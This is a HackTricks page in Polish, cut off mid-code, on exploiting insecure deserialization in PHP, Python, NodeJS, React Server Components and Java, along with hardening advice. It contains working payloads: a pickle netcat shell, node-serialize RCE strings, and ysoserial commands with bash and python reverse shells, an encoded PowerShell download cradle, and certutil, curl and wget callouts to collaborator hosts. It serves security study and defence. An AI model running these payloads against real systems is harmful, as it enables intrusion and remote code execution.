Deserialization
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
Serialization jest rozumiana jako metoda konwertowania obiektu na format, który można zachować, w celu przechowywania obiektu lub przesłania go jako część procesu komunikacji. Technika ta jest powszechnie stosowana, aby zapewnić możliwość odtworzenia obiektu w późniejszym czasie, zachowując jego strukturę i stan.
Deserialization, z kolei, jest procesem odwrotnym do serialization. Polega na wzięciu danych, które zostały sformatowane w określony sposób, i odtworzeniu ich z powrotem w obiekt.
Deserialization może być niebezpieczny, ponieważ potencjalnie pozwala atakującym manipulować zserializowanymi danymi w celu wykonania złośliwego kodu lub powodować nieoczekiwane zachowanie aplikacji podczas procesu odtwarzania obiektu.
PHP
W PHP podczas procesów serializacji i deserializacji wykorzystywane są konkretne magiczne metody:
__sleep: Wywoływana, gdy obiekt jest serializowany. Metoda ta powinna zwracać tablicę nazw wszystkich właściwości obiektu, które mają być serializowane. Zazwyczaj używana do zatwierdzania oczekujących danych lub wykonywania podobnych zadań porządkowych.__wakeup: Wywoływana podczas deserializacji obiektu. Służy do przywrócenia połączeń z bazą danych, które mogły zostać utracone podczas serializacji, oraz do wykonywania innych zadań inicjalizacyjnych.__unserialize: Ta metoda jest wywoływana zamiast__wakeup(jeśli istnieje) podczas deserializacji obiektu. Zapewnia większą kontrolę nad procesem deserializacji w porównaniu do__wakeup.__destruct: Ta metoda jest wywoływana, gdy obiekt ma zostać zniszczony lub gdy skrypt się zakończy. Zazwyczaj używana do zadań porządkowych, takich jak zamykanie uchwytów plików czy połączeń z bazą danych.__toString: Ta metoda pozwala traktować obiekt jako string. Może być używana do odczytu pliku lub innych zadań opartych na wywołaniach funkcji w jej wnętrzu, skutecznie dostarczając tekstową reprezentację obiektu.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
If you look to the results you can see that the functions __wakeup and __destruct are called when the object is deserialized. Note that in several tutorials you will find that the __toString function is called when trying yo print some attribute, but apparently that’s not happening anymore.
Warning
Metoda
__unserialize(array $data)jest wywoływana zamiast__wakeup()jeśli zostanie zaimplementowana w klasie. Pozwala ona na unserializowanie obiektu przez przekazanie zserializowanych danych jako tablicy. Możesz użyć tej metody do unserializowania właściwości i wykonania niezbędnych czynności podczas deserializacji.class MyClass { private $property; public function __unserialize(array $data): void { $this->property = $data['property']; // Perform any necessary tasks upon deserialization. } }
You can read an explained PHP example here: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, here https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf or here https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
You could abuse the PHP autoload functionality to load arbitrary php files and more:
PHP - Deserialization + Autoload Classes
Laravel Livewire Hydration Chains
Livewire 3 synthesizers can be coerced into instantiating arbitrary gadget graphs (with or without APP_KEY) to reach Laravel Queueable/SerializableClosure sinks:
Livewire Hydration Synthesizer Abuse
Serializing Referenced Values
If for some reason you want to serialize a value as a reference to another value serialized you can:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
Zapobieganie PHP Object Injection przy użyciu allowed_classes
[!INFO] Wsparcie dla drugiego argumentu
unserialize()(tablica$options) zostało dodane w PHP 7.0. W starszych wersjach funkcja akceptuje tylko zserializowany string, co uniemożliwia ograniczenie, które klasy mogą zostać zinstancjonowane.
unserialize() będzie tworzyć instancję każdej klasy, którą znajdzie w zserializowanym strumieniu, chyba że zostanie poinformowana inaczej. Od PHP 7 zachowanie można ograniczyć za pomocą opcji allowed_classes:
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);
// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
Jeśli allowed_classes zostanie pominięte lub kod jest uruchamiany na PHP < 7.0, wywołanie staje się niebezpieczne, ponieważ atakujący może przygotować payload, który nadużywa metody magiczne takie jak __wakeup() lub __destruct(), aby osiągnąć Remote Code Execution (RCE).
Przykład z życia: Everest Forms (WordPress) CVE-2025-52709
Wtyczka WordPress Everest Forms ≤ 3.2.2 próbowała być defensywna, stosując pomocniczy wrapper, ale zapomniano o starszych wersjach PHP:
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
Na serwerach, które wciąż działały na PHP ≤ 7.0, ten drugi przypadek prowadził do klasycznego PHP Object Injection, gdy administrator otworzył złośliwe przesłanie formularza. Minimalny exploit payload mógł wyglądać następująco:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
Gdy administrator zobaczył wpis, obiekt został zainstancjonowany i SomeClass::__destruct() zostało wykonane, skutkując wykonaniem dowolnego kodu.
Wnioski
- Zawsze podawaj
['allowed_classes' => false](lub ścisłą białą listę) przy wywoływaniuunserialize(). - Przeprowadzaj audyt wrapperów defensywnych – często zapominają o gałęziach dla starszych wersji PHP.
- Aktualizacja do PHP ≥ 7.x sama w sobie nie wystarcza: opcja nadal musi być podana jawnie.
PHPGGC (ysoserial for PHP)
PHPGGC może pomóc w generowaniu payloadów do nadużywania deserializacji PHP.
Zauważ, że w wielu przypadkach nie znajdziesz sposobu na nadużycie deserializacji w kodzie źródłowym aplikacji, ale możesz być w stanie wykorzystać kod zewnętrznych rozszerzeń PHP.
Dlatego, jeśli możesz, sprawdź phpinfo() serwera i przeszukaj Internet (a nawet w gadgets PHPGGC) pod kątem możliwych gadgetów, które mógłbyś wykorzystać.
phar:// metadata deserialization
Jeśli znalazłeś LFI, które jedynie czyta plik, a nie wykonuje zawartego w nim kodu PHP, na przykład używając funkcji takich jak file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Możesz spróbować wykorzystać deserializację, która zachodzi podczas odczytywania pliku przy użyciu protokołu phar.
Po więcej informacji przeczytaj następujący post:
Python
Pickle
Gdy obiekt zostanie unpickled, funkcja ___reduce___ zostanie wykonana.
W przypadku eksploatacji serwer może zwrócić błąd.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Zanim sprawdzisz technikę bypass, spróbuj użyć print(base64.b64encode(pickle.dumps(P(),2))), aby wygenerować obiekt kompatybilny z python2, jeśli uruchamiasz python3.
Aby uzyskać więcej informacji o ucieczce z pickle jails sprawdź:
Yaml & jsonpickle
Na poniższej stronie przedstawiono technikę wykorzystania niebezpiecznej deserializacji w bibliotekach YAML dla Pythona i zamieszczono narzędzie, które może być użyte do wygenerowania ładunku deserializacyjnego RCE dla Pickle, PyYAML, jsonpickle and ruamel.yaml:
Class Pollution (Python Prototype Pollution)
Class Pollution (Python’s Prototype Pollution)
NodeJS
JS Magic Functions
JS doesn’t have “magic” functions like PHP or Python that are going to be executed just for creating an object. But it has some functions that are frequently used even without directly calling them such as toString, valueOf, toJSON.
Jeśli przy deserializacji można je nadużyć, można skompromitować te funkcje, aby wykonać inny kod (potencjalnie abusing prototype pollutions) i uruchomić dowolny kod, gdy zostaną wywołane.
Another “magic” way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called “then” of type function, it will be executed just because it’s returned by another promise. Follow this link for more info.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__ and prototype pollution
Jeśli chcesz poznać tę technikę zobacz poniższy tutorial:
NodeJS - proto & prototype Pollution
node-serialize
Ta biblioteka pozwala serializować funkcje. Przykład:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
Zserializowany obiekt będzie wyglądał następująco:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
W przykładzie widać, że gdy funkcja jest serializowana, flaga _$$ND_FUNC$$_ zostaje dołączona do zserializowanego obiektu.
W pliku node-serialize/lib/serialize.js możesz znaleźć tę samą flagę i sposób jej użycia w kodzie.
.png)
.png)
Jak widać w ostatnim fragmencie kodu, jeśli flaga zostanie znaleziona, do deserializacji funkcji używany jest eval, więc w praktyce dane od użytkownika są używane wewnątrz funkcji eval.
Jednak samo serializowanie funkcji jej nie uruchomi, ponieważ konieczne byłoby, aby jakaś część kodu wywoływała y.rce w naszym przykładzie, a to jest bardzo mało prawdopodobne.
Można jednak po prostu zmodyfikować zserializowany obiekt, dodając nawiasy, aby automatycznie uruchomić zserializowaną funkcję podczas deserializacji obiektu.
W następnym fragmencie kodu zwróć uwagę na ostatni nawias i na to, jak funkcja unserialize automatycznie wykona kod:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
Jak już wcześniej wskazano, ta biblioteka pobierze kod po _$$ND_FUNC$$_ i wykona go używając eval. Dlatego, aby auto-execute code możesz usunąć część tworzącą funkcję oraz ostatni nawias i just execute a JS oneliner jak w poniższym przykładzie:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
Możesz find here więcej informacji o tym, jak wykorzystać tę podatność.
funcster
Godnym uwagi aspektem funcster jest niedostępność standardowych wbudowanych obiektów; znajdują się one poza dostępnym zakresem. To ograniczenie uniemożliwia wykonanie kodu, który próbuje wywołać metody na obiektach wbudowanych, prowadząc do wyjątków takich jak “ReferenceError: console is not defined” gdy polecenia takie jak console.log() lub require(something) są używane.
Mimo tego ograniczenia możliwe jest przywrócenie pełnego dostępu do globalnego kontekstu, łącznie ze wszystkimi standardowymi wbudowanymi obiektami, za pomocą określonego podejścia. Wykorzystując bezpośrednio globalny kontekst, można obejść to ograniczenie. Na przykład dostęp można przywrócić używając następującego fragmentu:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
For more information read this source.
serialize-javascript
Pakiet serialize-javascript został zaprojektowany wyłącznie do celów serializacji i nie zawiera wbudowanych możliwości deserializacji. Użytkownicy są odpowiedzialni za zaimplementowanie własnej metody deserializacji. Oficjalny przykład sugeruje bezpośrednie użycie eval do deserializacji zserializowanych danych:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
Jeśli ta funkcja jest używana do deserialize obiektów, możesz easily exploit it:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Dla więcej informacji przeczytaj to źródło.
Cryo library
W następnych stronach znajdziesz informacje o tym, jak wykorzystać tę bibliotekę do wykonania dowolnych poleceń:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
React Server Components / react-server-dom-webpack Server Actions — nadużycie (CVE-2025-55182)
React Server Components (RSC) opierają się na react-server-dom-webpack (RSDW) do dekodowania zgłoszeń server action wysyłanych jako multipart/form-data. Każde zgłoszenie akcji zawiera:
$ACTION_REF_<n>części, które odwołują się do wywoływanej akcji.$ACTION_<n>:<m>części, których ciało to JSON, np.{"id":"module-path#export","bound":[arg0,arg1,...]}.
W wersji 19.2.0 helper decodeAction(formData, serverManifest) ślepo ufa zarówno id string (wybierający, który eksport modułu wywołać), jak i bound array (argumenty). Jeśli atakujący ma dostęp do endpointu, który przekazuje żądania do decodeAction, może wywołać dowolną eksportowaną server action z parametrami kontrolowanymi przez atakującego, nawet bez front-endu React (CVE-2025-55182). Przepis end-to-end to:
- Learn the action identifier. Bundle output, error traces or leaked manifests typically reveal strings like
app/server-actions#generateReport. - Recreate the multipart payload. Craft a
$ACTION_REF_0part and a$ACTION_0:0JSON body carrying the identifier and arbitrary arguments. - Let
decodeActiondispatch it. The helper resolves the module fromserverManifest, imports the export, and returns a callable that the server immediately executes.
Example payload hitting /formaction:
POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--
Albo za pomocą curl:
curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'
Tablica bound bezpośrednio wypełnia parametry server-action. W podatnym labie gadget wygląda tak:
const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);
async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}
Dostarczenie format = "pdf & whoami" powoduje, że /bin/sh -c uruchamia legalny generator raportów, a następnie whoami, a oba wyjścia są zwracane w odpowiedzi JSON akcji. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the bound data.
An attacker never needs a real React client—any HTTP tool that emits the $ACTION_* multipart shape can directly call server actions and chain the resulting JSON output into an RCE primitive.
Java - HTTP
W Javie, deserialization callbacks are executed during the process of deserialization. To wykonanie może zostać wykorzystane przez atakujących, którzy tworzą złośliwe payloads wywołujące te callbacks, co może prowadzić do wykonania szkodliwych działań.
Fingerprints
White Box
Aby zidentyfikować potencjalne serialization vulnerabilities w kodzie, wyszukaj:
- Klasy, które implementują interfejs
Serializable. - Użycie
java.io.ObjectInputStream, funkcjireadObject,readUnshare.
Zwróć szczególną uwagę na:
XMLDecoderużywany z parametrami definiowanymi przez zewnętrznych użytkowników.- Metoda
fromXMLwXStream, zwłaszcza jeśli wersja XStream jest mniejsza lub równa 1.46, ponieważ jest podatna na problemy z serializacją. ObjectInputStreamw połączeniu z metodąreadObject.- Implementacja metod takich jak
readObject,readObjectNodData,readResolve, lubreadExternal. ObjectInputStream.readUnshared.- Ogólne użycie
Serializable.
Black Box
W testach black box szukaj konkretnych signatures or “Magic Bytes”, które wskazują na java serialized objects (pochodzące z ObjectInputStream):
- Wzorzec heksadecymalny:
AC ED 00 05. - Wzorzec Base64:
rO0. - Nagłówki odpowiedzi HTTP z
Content-typeustawionym naapplication/x-java-serialized-object. - Wzorzec heksadecymalny wskazujący na wcześniejszą kompresję:
1F 8B 08 00. - Wzorzec Base64 wskazujący na wcześniejszą kompresję:
H4sIA. - Pliki webowe z rozszerzeniem
.facesi parametrfaces.ViewState. Odkrycie tych wzorców w aplikacji webowej powinno skłonić do analizy opisanej w post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Sprawdź, czy podatne
Jeśli chcesz dowiedzieć się, jak działa Java Deserialized exploit powinieneś zapoznać się z Basic Java Deserialization, Java DNS Deserialization, and CommonsCollection1 Payload.
Deserializacja ograniczona przez SignedObject i pre-auth reachability
Nowoczesne bazy kodu czasami opakowują deserializację w java.security.SignedObject i weryfikują podpis przed wywołaniem getObject() (które deserializuje wewnętrzny obiekt). To uniemożliwia użycie dowolnych top-level gadget classes, ale nadal może być wykorzystywalne, jeśli atakujący uzyska prawidłowy podpis (np. kompromitacja klucza prywatnego lub signing oracle). Dodatkowo, obiegi obsługi błędów mogą wystawiać tokeny powiązane z sesją dla nieuwierzytelnionych użytkowników, odsłaniając w ten sposób inaczej chronione sinks pre-auth.
For a concrete case study with requests, IoCs, and hardening guidance, see:
Java Signedobject Gated Deserialization
White Box Test
Możesz sprawdzić, czy zainstalowana jest jakaś aplikacja z znanymi podatnościami.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
Możesz spróbować sprawdzić wszystkie biblioteki znane jako podatne i dla których Ysoserial może dostarczyć exploit. Albo możesz sprawdzić biblioteki wskazane na Java-Deserialization-Cheat-Sheet.
Możesz też użyć gadgetinspector do wyszukania możliwych gadget chains, które można wykorzystać.
Uruchamiając gadgetinspector (po zbudowaniu) nie zwracaj uwagi na masę warnings/errors, przez które przechodzi — poczekaj aż skończy. Zapisze wszystkie wyniki w gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Zwróć uwagę, że gadgetinspector won’t create an exploit and it may indicate false positives.
Test Black Box
Using the Burp extension gadgetprobe you can identify which libraries are available (and even the versions). With this information it could be easier to choose a payload to exploit the vulnerability.
Read this to learn more about GadgetProbe.
GadgetProbe is focused on ObjectInputStream deserializations.
Using Burp extension Java Deserialization Scanner you can identify vulnerable libraries exploitable with ysoserial and exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner is focused on ObjectInputStream deserializations.
You can also use Freddy to detect deserializations vulnerabilities in Burp. This plugin will detect not only ObjectInputStream related vulnerabilities but also vulns from Json an Yml deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.
You can find more information about Freddy here.
Serialization Test
Nie chodzi tylko o sprawdzenie, czy serwer używa jakiejś podatnej biblioteki. Czasami możesz być w stanie zmienić dane wewnątrz zserializowanego obiektu i obejść pewne kontrole (np. przyznać sobie uprawnienia administratora w aplikacji webowej).
Jeśli znajdziesz zserializowany obiekt Java wysyłany do aplikacji webowej, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Znając dane, które wysyłasz, łatwiej będzie je zmodyfikować i obejść pewne kontrole.
Exploit
ysoserial
The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example).
Note that this tool is focused on exploiting ObjectInputStream.
I would start using the “URLDNS” payload before a RCE payload to test if the injection is possible. Anyway, note that maybe the “URLDNS” payload is not working but other RCE payload is.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
Tworząc payload dla java.lang.Runtime.exec() nie możesz używać znaków specjalnych takich jak “>” czy “|” do przekierowania wyjścia wykonania, “$()” do uruchamiania poleceń lub nawet przekazywać argumentów do polecenia rozdzielonych spacjami (możesz zrobić echo -n "hello world" ale nie możesz zrobić python2 -c 'print "Hello world"'). Aby poprawnie zakodować payload możesz use this webpage.
Możesz użyć poniższego skryptu, aby wygenerować all the possible code execution payloads dla Windows i Linux, a następnie przetestować je na podatnej stronie:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Możesz użyć https://github.com/pwntester/SerialKillerBypassGadgetCollection wraz z ysoserial, aby stworzyć więcej exploitów. Więcej informacji o tym narzędziu znajduje się w slajdach prezentacji, w której narzędzie zostało przedstawione: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec można użyć do generowania payloadów do exploitowania różnych bibliotek serializacji Json i Yml w Java.
Aby skompilować projekt, musiałem dodać te zależności do pom.xml:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Zainstaluj maven, i skompiluj projekt:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Przeczytaj więcej o tej bibliotece Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Laboratoria
- Jeśli chcesz przetestować niektóre ysoserial payloads możesz uruchomić tę webapp: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Dlaczego
Java używa serializacji w wielu celach, na przykład:
- HTTP requests: Serializacja jest szeroko stosowana przy zarządzaniu parametrami, ViewState, cookies itd.
- RMI (Remote Method Invocation): Protokół Java RMI, który w całości opiera się na serializacji, jest kamieniem węgielnym komunikacji zdalnej w aplikacjach Java.
- RMI over HTTP: Ta metoda jest często używana przez Java-based thick client web applications, wykorzystując serializację do całej komunikacji obiektów.
- JMX (Java Management Extensions): JMX wykorzystuje serializację do przesyłania obiektów przez sieć.
- Custom Protocols: W Java standardową praktyką jest przesyłanie surowych obiektów Java, co zostanie zademonstrowane w nadchodzących exploit examples.
Zapobieganie
Obiekty transient
Klasa, która implementuje Serializable, może oznaczyć jako transient dowolny obiekt wewnątrz klasy, który nie powinien być serializowany. Na przykład:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Unikaj Serialization klasy, która musi implementować interfejs Serializable
W scenariuszach, w których niektóre obiekty muszą implementować interfejs Serializable z powodu hierarchii klas, istnieje ryzyko niezamierzonej deserialization. Aby temu zapobiec, upewnij się, że te obiekty są non-deserializable poprzez zdefiniowanie final metody readObject(), która konsekwentnie rzuca wyjątek, jak pokazano poniżej:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Wzmacnianie bezpieczeństwa deserializacji w Java
Dostosowywanie java.io.ObjectInputStream jest praktycznym podejściem do zabezpieczenia procesów deserializacji. Ta metoda jest odpowiednia, gdy:
- Kod deserializacji jest pod Twoją kontrolą.
- Klasy oczekiwane podczas deserializacji są znane.
Nadpisz metodę resolveClass(), aby ograniczyć deserializację tylko do dozwolonych klas. To zapobiega deserializacji jakiejkolwiek klasy z wyjątkiem tych wyraźnie dozwolonych, jak w poniższym przykładzie, który ogranicza deserializację tylko do klasy Bicycle:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
